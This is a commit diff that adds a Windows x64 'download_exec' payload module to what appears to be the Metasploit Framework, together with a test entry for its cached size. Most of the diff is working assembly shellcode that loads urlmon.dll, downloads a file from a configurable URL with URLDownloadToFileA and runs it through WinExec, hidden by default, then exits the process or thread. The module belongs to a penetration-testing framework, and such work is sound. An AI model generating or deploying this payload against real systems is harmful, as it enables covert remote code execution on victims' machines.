Port payload/windows/download_exec to x64

modules/payloads/singles/windows/x64/download_exec.rb

@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+module MetasploitModule
+  CachedSize = 353
+
+  include Msf::Payload::Single
+  include Msf::Payload::Windows
+  include Msf::Payload::Windows::BlockApi_x64
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Windows Download Execute',
+        'Description' => 'Downloads and executes the file from the specified url.',
+        'Author' => 'Muzaffer Umut ŞAHİN <[email protected]>',
+        'License' => MSF_LICENSE,
+        'Platform' => 'win',
+        'Arch' => ARCH_X64
+      )
+    )
+
+    display_options = %w[HIDE SHOW]
+
+    register_options(
+      [
+        OptString.new('URL', [true, 'The url to download the file from.', 'http://localhost/hi.exe']),
+        OptString.new('FILEPATH', [true, 'The path to save the downloaded file.', 'fox.exe']),
+        OptEnum.new('DISPLAY', [true, 'The Display type.', display_options[0], display_options])
+      ]
+    )
+  end
+
+  def generate(_opts = {})
+    url = datastore['URL'] || 'http://localhost/hi.exe'
+    file = datastore['FILEPATH'] || 'fox.exe'
+    display = datastore['DISPLAY'] || 'HIDE'
+
+    payload = %^
+            cld
+            and rsp, -16
+            call main
+            #{asm_block_api}
+
+        main:
+            pop rbp
+            call LoadLibrary
+            db "urlmon.dllK"
+
+        LoadLibrary:
+            pop rcx ; rcx points to the dll name.
+            xor byte [rcx+10], 'K' ; null terminator
+            mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
+            call rbp ; LoadLibraryA("urlmon.dll")
+            ; To live alone one must be an animal or a god, says Aristotle. There is yet a third case: one must be both--a philosopher.
+
+        SetUrl:
+            call SetFile
+            db "#{url}A"
+
+        SetFile:
+            pop rdx ; 2nd argument
+            xor byte [rdx+#{url.length}], 'A' ; null terminator
+            call UrlDownloadToFile
+            db "#{file}C"
+
+        UrlDownloadToFile:
+            pop r8 ; 3rd argument
+            xor byte [r8+#{file.length}], 'C' ; null terminator
+            xor rcx,rcx ; 1st argument
+            xor r9,r9   ; 4th argument
+            sub rsp, 8
+            push rcx    ; 5th argument
+            mov r10d, #{Rex::Text.block_api_hash('urlmon.dll', 'URLDownloadToFileA')}
+            call rbp
+
+        SetCommand:
+            call Exec
+            db "cmd /c #{file}F"
+
+        Exec:
+            pop rcx ; 1st argument
+            xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
+            mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WinExec')}
+            xor rdx, rdx ; 2nd argument
+        ^
+
+    if display == 'HIDE'
+      hide = %(
+            call rbp
+            )
+      payload << hide
+
+    elsif display == 'SHOW'
+      show = %(
+            inc rdx ; SW_NORMAL = 1
+            call rbp
+            )
+      payload << show
+    end
+
+    if datastore['EXITFUNC'] == 'process'
+      exit_asm = %(
+            xor rcx,rcx
+            mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
+            call rbp
+            )
+      payload << exit_asm
+
+    elsif datastore['EXITFUNC'] == 'thread'
+      exit_asm = %(
+            xor rcx,rcx
+            mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}
+            call rbp
+            )
+      payload << exit_asm
+    end
+
+    Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
+  end
+end

spec/modules/payloads_spec.rb

@@ -5200,6 +5200,15 @@
                           reference_name: 'windows/aarch64/exec'
   end
 
+  context 'windows/x64/download_exec' do
+    it_should_behave_like 'payload cached size is consistent',
+                          ancestor_reference_names: [
+                              'singles/windows/x64/download_exec'
+                          ],
+                          dynamic_size: false,
+                          modules_pathname: modules_pathname,
+                          reference_name: 'windows/x64/download_exec'
+  end
 
   context 'windows/x64/custom/bind_ipv6_tcp' do
     it_should_behave_like 'payload is not cached',